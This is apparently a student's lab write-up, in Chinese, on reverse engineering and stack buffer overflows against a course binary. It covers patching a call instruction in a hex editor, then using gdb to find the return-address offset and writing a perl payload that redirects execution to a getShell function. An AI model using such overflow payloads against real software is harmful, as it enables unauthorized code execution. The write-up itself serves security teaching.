实验一 逆向及Bof基础
1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP汇编指令的机器码是"90"
- JNE汇编指令的机器码是"75"
- JE 汇编指令的机器码是"74"
- JMP汇编指令的机器码是"eb"
- CMP汇编指令的机器码是"39"
详情可见汇编指令及机器码速查
2.掌握反汇编与十六进制编程器
1)反汇编命令:objdump -d pwn20155236 | more
2)十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。具体步骤如下:
输入命令vi pwn20155236查看可执行文件内容,发现大部分是我们没法理解的乱码;
按esc后输入:%!xxd
将显示模式切换为16进制模式;
进行相关操作后,输入:%!xxd -r
转换16进制为原格式。
3.直接修改程序机器指令,改变程序执行流程
1)在vi中查找到e8d7这一行,命令:/e8d7
2)直接按i
修改d7为c3
3)输入::%!xxd -r
转换16进制为原格式。
4)存盘退出::wq
5)再次输入反汇编命令查看并验证。
实验二 利用foo函数的Bof漏洞
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
1)1.输入gdb pwn20155236
调试该程序,输入1111111122222222333333334444444455555555
字符串确定哪几个字符会覆盖到返回地址
2)再次输入字符串1111111122222222333333334444444412345678
确定溢出的是那几位
3)对比之前eip 0x34333231 0x34333231
,正确应用输入 11111111222222223333333344444444\x7d\x84\x04\x08
4)构造输入字符串,由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
命令:
perl -e ‘print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"‘ > input
3)用xxd input
以16进制显示input文件,检查写入地址的正误;
4)确认无误后用(cat input;cat) | ./pwn20155236
来将改字符串作为可执行文件的输入。